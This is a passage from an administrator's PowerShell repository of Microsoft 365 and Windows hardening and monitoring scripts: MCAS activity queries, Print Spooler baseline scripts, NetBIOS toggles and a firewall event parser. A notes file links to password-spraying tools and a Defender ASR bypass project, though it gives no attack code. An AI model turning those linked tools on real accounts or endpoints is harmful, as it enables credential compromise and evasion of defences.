26 | (Get-MCASActivity -UserName "jane@contoso.com" | Group-Object eventTypeName).Name
27 | # Get all EventTypes Values
28 | (Get-MCASActivity -UserName oadmin@contoso.com | Group-Object EventTypeValue).Name
29 | # Get all Description_Ids
30 | (Get-MCASActivity -UserName oadmin@contoso.com | Group-Object Description_id).Name
31 |
32 |
33 | ## Devices
34 | # Get all EventTypes
35 | (Get-MCASActivity -DeviceType Desktop | Group-Object eventTypeName).Name
36 | # Get all EventTypes Values
37 | (Get-MCASActivity -DeviceType Desktop | Group-Object EventTypeValue).Name
38 | # Get all Description_Ids
39 | (Get-MCASActivity -DeviceType Desktop | Group-Object Description_id).Name
40 |
41 | ## AdminEvents
42 | # Get all EventTypes
43 | (Get-MCASActivity -AdminEvents | Group-Object eventTypeName).Name
44 | # Get all EventTypes Values
45 | (Get-MCASActivity -AdminEvents | Group-Object EventTypeValue).Name
46 | # Get all Description_Ids
47 | (Get-MCASActivity -AdminEvents | Group-Object Description_id).Name
48 |
49 | # File Accessed
50 | Get-MCASActivity -EventTypeName "EVENT_CATEGORY_ACCESS_FILE" -Credential $mcasconnect
51 |
52 | # Countries
53 | $countries = Get-MCASActivity -CountryCodePresent | Select-Object -ExpandProperty Location
54 | $countries | Group-Object City
55 |
56 | # Stuff with a particular file
57 | $fileactivity = Get-MCASActivity -FileID "ff9c1544-77ee-43c0-887d-73e1da4708b6|10e77f7e-8c8e-4334-943a-82b363efad86"
58 | $fileactivity | Select-Object -ExpandProperty User
59 |
60 |
--------------------------------------------------------------------------------
/Notes/Notes.md:
--------------------------------------------------------------------------------
1 |
2 | https://github.com/OfficeDev/MCCA
3 |
4 |
5 | https://www.cyberdrain.com/monitoring-with-powershell-monitoring-legacy-authentication-logons/?utm_source=rss&utm_medium=rss&utm_campaign=monitoring-with-powershell-monitoring-legacy-authentication-logons
6 |
7 |
8 |
9 |
10 |
11 |
12 | # ignatureDownloadCustomTask
13 | https://www.powershellgallery.com/packages/SignatureDownloadCustomTask/1.4
14 |
15 | # ORCA
16 | https://office365itpros.com/2019/11/14/orca-checks-office365-atp-settings/
17 |
18 | # HAWK
19 | https://github.com/Canthv0/hawk
20 |
21 | # Defender ASR
22 | https://www.powershellgallery.com/packages/DefenderASR/0.0.2
23 |
24 | # Defender maps
25 | https://github.com/alexverboon/DefenderMAPS
26 |
27 | # PowerSTIG
28 | https://www.powershellgallery.com/packages/PowerSTIG/4.2.0
29 |
30 | Office-365-Password-Spray
31 | https://github.com/nickvangilder/Office-365-Password-Spray
32 |
33 | DomainPasswordSpray
34 | https://github.com/dafthack/DomainPasswordSpray
35 |
36 | mtp
37 | https://github.com/microsoft/MTP-AHQ
38 |
39 | LAPS
40 | https://www.powershellgallery.com/packages/MrAToolbox/1.2.0/Content/Test-LapsCompliance.ps1
41 |
42 | password spray
43 | https://github.com/dafthack/MSOLSpray
44 |
45 |
46 | # app crashes
47 | Get-WinEvent -FilterHashtable @{'providername' = 'Windows Error Reporting';starttime=(Get-Date).AddDays(-7);Id=1001 } | Select TimeCreated,@{n='App';e={$_.Properties[5].value}}|Group-Object -Property App|Select-Object -Property Name,Count|Sort-Object -Property Count -Descending
48 |
49 |
50 | https://github.com/microsoft/microsoft-defender-atp-manageability/blob/ece9933cf35c59af748a36ca1ed2311546cbc1d2/RestoreQuarantinedFile-NoOutput.ps1
51 |
52 |
53 | https://github.com/jeremyts/ActiveDirectoryDomainServices/tree/5174f8075a67f94a7da5eec617d84d4464f98c44/Audit
54 |
55 | https://yonileibowitz.github.io/kusto.blog/blog-posts/jakh.html
56 |
57 | https://github.com/sevagas/WindowsDefender_ASR_Bypass-OffensiveCon2019
58 |
59 | https://www.elastic.co/guide/en/siem/guide/7.8/prebuilt-rules.html
60 |
61 | https://github.com/anthonws/MDATP_PoSh_Scripts?files=1
62 |
63 | https://call4cloud.nl/2020/07/along-came-mcas-automation/
64 |
65 | https://github.com/AlexFilipin/ConditionalAccess/wiki#quick-start
66 |
67 | https://github.com/rod-trent/SentinelKQL
68 |
69 | https://github.com/AzureAD/IdentityProtectionTools
70 |
71 | https://github.com/swisscom/PowerSponse
72 |
--------------------------------------------------------------------------------
/PrintSpooler/MEMCMBaseLine/CI Scripts/CI_PrintSpoolerService_Discovery.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | CI_PrintSpoolerService_Discovery
4 | .DESCRIPTION
5 | Script for Configuration Manager - Configuration Item
6 |
7 | CI_PrintSpoolerService_Discovery checks whether the Windows Print Spooler Service is stopped and StartMode set to disabled
8 |
9 | The status of the Windows Print Spooler 'Spooler' must be 'Stopped' and the Start Mode must be set to 'Disabled'
10 |
11 | All attributes must return true, otherwise the CI returns false
12 |
13 | .NOTES
14 | v1.0, 10.07.2021 alex verboon
15 | #>
16 |
17 | Try{
18 | $PrintSpoolerServiceStatus = (Get-Service -Name "Spooler").Status
19 | $PrintSpoolStartMode = (Get-Service -Name Spooler).StartType
20 | If ($PrintSpoolerServiceStatus -eq "Stopped" -and $PrintSpoolStartMode -eq "Disabled")
21 | {
22 | Return $True
23 | }
24 | Else
25 | {
26 | Return $False
27 | }
28 | }
29 | Catch{
30 | $False
31 | }
32 |
33 |
--------------------------------------------------------------------------------
/PrintSpooler/MEMCMBaseLine/CI Scripts/CI_PrintSpoolerService_Remediation.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | CI_PrintSpoolerService_Remediation
4 | .DESCRIPTION
5 | Script for Configuration Manager - Configuration Item
6 |
7 | CI_PrintSpoolerService_Remediation sets the start mode of the print spooler to disabled and stops the print spooler service
8 |
9 | .NOTES
10 | v1.0, 10.07.2021, alex verboon
11 | #>
12 |
13 | Stop-Service -Name "Spooler" -Force
14 | Set-Service -Name "Spooler" -StartupType Disabled
15 |
--------------------------------------------------------------------------------
/PrintSpooler/MEMCMBaseLine/New-CMCIPrintSpoolerService.ps1:
--------------------------------------------------------------------------------
1 | function New-CMCIPrintSpoolerService
2 | {
3 | <#
4 | .Synopsis
5 | New-CMCIPrintSpoolerService
6 |
7 | .DESCRIPTION
8 | New-CMCIPrintSpoolerService creates a Configuration Item in ConfigMgr to check
9 | if the print spooler is stopped and if the start mode is set to disabled
10 |
11 |
12 | .NOTES
13 | v1.0, 10.07.2021, alex verboon, initial version
14 | #>
15 |
16 | [CmdletBinding()]
17 | Param
18 | (
19 | # ConfigMgr Site Code
20 | [Parameter(Mandatory=$true,
21 | ValueFromPipelineByPropertyName=$true,
22 | Position=0)]
23 | $SiteCode="P01",
24 | # ConfigMgr Site Server
25 | [Parameter(Mandatory=$true,
26 | ValueFromPipelineByPropertyName=$true,
27 | Position=0)]
28 | $SiteServer="$ENV:COMPUTERNAME"
29 | )
30 |
31 | Begin
32 | {
33 |
34 | #Name and description of the Configuration Item
35 | $CI_name = 'CI_PrintSpoolerServiceDisabled'
36 | $CI_desc = 'Check if print spooler is disabled and stopped'
37 |
38 | #Name of the CI setting and content of powershellscripts
39 | $Setting_name = 'Disable Print Spooler Service'
40 | $Setting_Desc = 'Disable Print Spooler Service'
41 | $discoverScript_path = "$PSScriptRoot\CI Scripts\CI_PrintSpoolerService_Discovery"
42 | $remediationScript_path = "$PSScriptRoot\CI Scripts\CI_PrintSpoolerService_Remediation.ps1"
43 |
44 | #Name and description of the Compliance rule
45 | $rule_name = 'Check Print Spooler Service Status'
46 | $rule_Desc = 'Check Print Spooler Service Status'
47 |
48 | #################################################################################
49 | # NO code edits needed below, unless you need to add additional functionality
50 | #################################################################################
51 |
52 |
53 | # Check if ConfigMgr PowerShell Module is present and can be loaded
54 | Try{
55 | if (-not(Get-Module -name ConfigurationManager))
56 | {
57 | Write-Verbose "Importing Configuration Manager PowerShell module"
58 | Import-Module ($Env:SMS_ADMIN_UI_PATH.Substring(0,$Env:SMS_ADMIN_UI_PATH.Length-5) + '\ConfigurationManager.psd1')
59 | }
60 | }
61 | Catch{
62 | Write-Error "Unable to load ConfigMgr PowerShell Module"
63 | }
64 |
65 | # Change the PS Drive to the ConfigMgr Site
66 | Write-Verbose "ConfigMgr SiteCode: $SiteCode"
67 | Write-Verbose "ConfigMgr SiteServer: $SiteServer"
68 |
69 |
70 | Try{
71 | $configMgrDrive = "$SiteCode" + ":"
72 | cd $configMgrDrive
73 | Write-Verbose "Check if User sees the Configuration Item folder"
74 | Test-Path "ConfigurationItem" -PathType Container
75 | }
76 | Catch
77 | {
78 | Write-Error "There was an error connecting to the ConfigMgr Site $SiteCode"
79 | }
80 |
81 | Write-Verbose "Creating new Configuration Item:"
82 | Write-Verbose "Name: $CI_name"
83 | Write-Verbose "Description: $CI_desc"
84 | Write-Verbose "Setting name: $Setting_name"
85 | Write-Verbose "Setting Description: $Setting_Desc"
86 | Write-Verbose "PowerShell Script input: $discoverScript_path"
87 | Write-Verbose "PowerShell remediation script: $remediationScript_path"
88 | Write-Verbose "Rule Name: $rule_name"
89 | Write-Verbose "Rule Description: $rule_Desc"
90 |
91 | }
92 | Process
93 | {
94 | Try{
95 | Write-Verbose "Creating new Configuration Item"
96 | $CIObject = New-CMConfigurationItem -Name $CI_name -CreationType WindowsOS -Description $CI_desc
97 |
98 | Write-Verbose "Adding Settings"
99 | $Setting = Add-CMComplianceSettingScript -InputObject $CIObject -settingName $Setting_name -Description $Setting_Desc -DataType Boolean -DiscoveryScriptLanguage PowerShell -DiscoveryScriptFile $discoverScript_path -noRule -Is64Bit -RemediationScriptFile $remediationScript_path -RemediationScriptLanguage PowerShell
100 |
101 | Write-Verbose "Adding Rules"
102 | $setting2 = $CIObject | Get-CMComplianceSetting -SettingName $Setting_name
103 | $CIRule = $Setting2 | New-CMComplianceRuleValue -ExpressionOperator IsEquals -RuleName $rule_name -ExpectedValue 'True' -NoncomplianceSeverity Critical -RuleDescription $rule_desc -ReportNoncompliance -Remediate
104 | $CIRuleAdded = Add-CMComplianceSettingRule -InputObject $CIObject -Rule $CIRule
105 | }
106 | Catch
107 | {
108 | Write-Error "There was an error creating the Configuration Item for $CI_name"
109 | }
110 | }
111 | End
112 | {
113 | Get-CMConfigurationItem -Name "$CI_name" -Fast | Sort-Object DateCreated | Select-Object * -Last 1
114 | }
115 | }
116 |
117 |
--------------------------------------------------------------------------------
/PrintSpooler/MEMCMBaseLine/readme.md:
--------------------------------------------------------------------------------
1 | # Microsoft Endpoint Configuration Manager - Configuration Baseline for Print Spooler
2 |
3 | Use the below scripts to create a CI for the Print Spooler Service.
4 |
5 | ## Content
6 |
7 | **New-CMCIPrintSpoolerService.ps1**
8 | Use this script to create a CI for the Windows Print Spooler Service. This script will create a CI in Microsoft Endpoint Configuration manager and embed the content of:
9 | CI Scripts\CI_PrintSpoolerService_Discovery.ps1 and CI_PrintSpoolerService_Remediation.ps1
10 |
11 | **CI_PrintSpoolerService_Discovery.ps1**
12 | This script contains the code to gather the Print Spooler running and startup state information.
13 |
14 | **CI_PrintSpoolerService_Remediation.ps1**
15 | This script executes when the Print Spooler is running or set to start automatically. The script will disable the print spooler service and stop it.
16 |
17 | ## Installation
18 |
19 | 1. Save the files to your local disk
20 | 2. Open the Configuration Manager Console
21 | 3. Open PowerShell ISE from the CM Console
22 | 4. Switch to the directory where you have saved the scripts.
23 | 5. Load the function included in the script
24 |
25 | ```PowerShell
26 | . .\New-CMCIPrintSpoolerService.ps1
27 | ```
28 |
29 | 6.Run the script to create the CI
30 |
31 | ```PowerShell
32 | New-CMCIPrintSpoolerService -SiteCode P01 -SiteServer cm01.corp.net -Verbose
33 | ```
34 |
35 | You now have the CI in the console, next create the Configuration baseline and assign the created CI. Then deploy the baseline to a target collection where you want to have the print spooler service disabled.
36 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PowerShellCode
2 | PowerShell stuff I work on
3 |
--------------------------------------------------------------------------------
/Windows/Set-NetBiosDisabled.ps1:
--------------------------------------------------------------------------------
1 |
2 |
3 | Function Set-NetBiosDisabled
4 | {
5 | <#
6 | .Synopsis
7 | Set-NetBiosDisabled
8 | .DESCRIPTION
9 | Set-NetBiosDisabled disables NetBIOS over TCP/IP on all IP enabled network adapters
10 | where NETBIOS is not already disabled.
11 |
12 | .EXAMPLE
13 | Set-NetBiosDisabled
14 | .NOTES
15 | v1, 14-12-2019, Alex Verboon, initial version
16 |
17 | https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/settcpipnetbios-method-in-class-win32-networkadapterconfiguration
18 |
19 | #>
20 | [CmdletBinding(SupportsShouldProcess)]
21 | Param()
22 |
23 | Begin{
24 | [int]$DisableValue = 2
25 | }
26 | Process{
27 | Try{
28 | $adapters = (Get-WmiObject -Class win32_networkadapterconfiguration -Filter "ipenabled = 'true'" -ErrorAction Stop)
29 | Foreach ($adapter in $adapters)
30 | {
31 | Write-Host $adapter.TcpipNetbiosOptions
32 | If ($adapter.TcpipNetbiosOptions -ne 2)
33 | {
34 |
35 | if ($PSCmdlet.ShouldProcess($adapter.Description,'Disabling NetBIOS over TCP/IP'))
36 | {
37 | $result = $adapter.settcpipnetbios($DisableValue)
38 | }
39 | }
40 | Else
41 | {
42 | Write-host "NetBIOS is already disabled on $($adapter.Description)"
43 | }
44 | }
45 | }
46 | Catch{
47 | $Error
48 | }
49 | }
50 | End{}
51 | }
52 |
53 |
54 | Set-NetBiosDisabled
--------------------------------------------------------------------------------
/Windows/Set-NetBiosEnabled.ps1:
--------------------------------------------------------------------------------
1 |
2 |
3 | Function Set-NetBiosEnabled
4 | {
5 | <#
6 | .Synopsis
7 | Set-NetBiosEnabled
8 | .DESCRIPTION
9 | Set-NetBiosEnabled Enables NetBIOS over TCP/IP on all IP enabled network adapters
10 | where NETBIOS is not already Enabled.
11 |
12 | .EXAMPLE
13 | Set-NetBiosEnabled
14 | .NOTES
15 | v1, 14-12-2019, Alex Verboon, initial version
16 |
17 | https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/settcpipnetbios-method-in-class-win32-networkadapterconfiguration
18 |
19 | #>
20 | [CmdletBinding(SupportsShouldProcess)]
21 | Param()
22 |
23 | Begin{
24 | [int]$DisableValue = 0
25 | }
26 | Process{
27 | Try{
28 | $adapters = (Get-WmiObject -Class win32_networkadapterconfiguration -Filter "ipenabled = 'true'" -ErrorAction Stop)
29 | Foreach ($adapter in $adapters)
30 | {
31 | Write-Host $adapter.TcpipNetbiosOptions
32 | If ($adapter.TcpipNetbiosOptions -ne 0)
33 | {
34 |
35 | if ($PSCmdlet.ShouldProcess($adapter.Description,'Disabling NetBIOS over TCP/IP'))
36 | {
37 | $result = $adapter.settcpipnetbios($DisableValue)
38 | }
39 | }
40 | Else
41 | {
42 | Write-host "NetBIOS is already Enabled on $($adapter.Description)"
43 | }
44 | }
45 | }
46 | Catch{
47 | $Error
48 | }
49 | }
50 | End{}
51 | }
52 |
53 |
54 | Set-NetBiosEnabled
--------------------------------------------------------------------------------
/WindowsFirewall/Get-WFPEvents.ps1:
--------------------------------------------------------------------------------
1 | #Requires -RunAsAdministrator
2 | function Get-WFPEvents{
3 | <#
4 | .Synopsis
5 | Get-WFPEvents
6 | .DESCRIPTION
7 | Get-WFPEvents retrieves Windows Filtering Platform events
8 |
9 | For more details see:
10 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-filtering-platform-connection
11 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-filtering-platform-packet-drop
12 | https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/host-firewall-reporting?view=o365-worldwide
13 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5031
14 | .EXAMPLE
15 | Get-WFPEvents
16 | .NOTES
17 | v1.0, 02.11.2021, alex Verboon
18 | #>
19 | [CmdletBinding()]
20 | Param(
21 | # Number of events to retrieve
22 | [int]
23 | $MaxEvents=10
24 | )
25 |
26 | Begin{
27 | $fweventcodes = @{
28 | "5031" = "The Windows Firewall Service blocked an application from accepting incoming connections on the network";
29 | "5150" = "The Windows Filtering Platform blocked a packet.";
30 | "5151" = "A more restrictive Windows Filtering Platform filter has blocked a packet";
31 | "5154" = "The Windows Filtering Platform has permitted an application or service to listen on a port for incoming connections."
32 | "5155" = "The Windows Filtering Platform has blocked an application or service from listening on a port for incoming connections.";
33 | "5156" = "The Windows Filtering Platform has permitted a connection."
34 | "5157" = "The Windows Filtering Platform has blocked a connection.";
35 | "5158" = " The Windows Filtering Platform has permitted a bind to a local port."
36 | "5159" = "The Windows Filtering Platform has blocked a bind to a local port.";
37 | "5152" = "The Windows Filtering Platform blocked a packet.";
38 | "5153" = "A more restrictive Windows Filtering Platform filter has blocked a packet.";
39 | }
40 |
41 | $protocolcodes = @{
42 | "1" = "Internet Control Message Protocol (ICMP)";
43 | "6" = "Transmission Control Protocol (TCP)";
44 | "17" = "User Datagram Protocol (UDP)";
45 | "47" = "General Routing Encapsulation (PPTP data over GRE)";
46 | "51" = "Authentication Header (AH) IPSec";
47 | "50" = "Encapsulation Security Payload (ESP) IPSec";
48 | "8" = "Exterior Gateway Protocol (EGP)";
49 | "3" = "Gateway-Gateway Protocol (GGP)";
50 | "20" = "Host Monitoring Protocol (HMP)";
51 | "88" = "Internet Group Management Protocol (IGMP)";
52 | "66" = "MIT Remote Virtual Disk (RVD)";
53 | "89" = "OSPF Open Shortest Path First";
54 | "12" = "PARC Universal Packet Protocol (PUP)";
55 | "27" = "Reliable Datagram Protocol (RDP)";
56 | "46" = "Reservation Protocol (RSVP) QoS";
57 | }
58 | }
59 | Process{
60 | $EventHashTable = @{
61 | LogName = "Security"
62 | ID = 5031,5150,5151,5155,5157,5159,5152,5153
63 | }
64 | $Result = [System.Collections.ArrayList]::new()
65 | $EventData = Get-WinEvent -FilterHashtable $EventHashTable -MaxEvents $MaxEvents -ErrorAction SilentlyContinue
66 |
67 | ForEach($logentry in $EventData){
68 | $ParsedEventLogData = [xml]$logentry[0].ToXml()
69 | $Detail = $ParsedEventLogData.Event.EventData.data
70 | $object = [PSCustomObject]@{
71 | TimeCreated = $logentry.TimeCreated
72 | EventID = $logentry.Id
73 | Description = $fweventcodes["$($Logentry.Id)"]
74 | ComputerName = $logentry.MachineName
75 | ProviderName = $logentry.ProviderName
76 | TaskDisplayName = $logentry.TaskDisplayName
77 | ProviderGUID = $ParsedEventLogData.Event.System.Provider.guid
78 | ProcessID = $Detail[0].'#Text'
79 | Application = $Detail[1].'#Text'
80 | Direction = $Detail[2].'#Text'
81 | DirectionName = if ($Detail[2].'#text' -eq "%%14592"){"Inbound"} Elseif($Detail[2].'#text' -eq "%%14593") {"Outbound"} Else{"Undefined"}
82 | SourceAddress = $Detail[3].'#Text'
83 | SourcePort = $Detail[4].'#text'
84 | DestAddress = $Detail[5].'#text'
85 | DestPort = $Detail[6].'#text'
86 | Protocol = $Detail[7].'#Text'
87 | ProtocolName = $protocolcodes["$($Detail[7].'#Text')"]
88 | }
89 | [void]$Result.Add($object)
90 | }
91 | }
92 | End{
93 | $Result
94 | }
95 | }
96 |
97 |
98 |
99 |
100 |
--------------------------------------------------------------------------------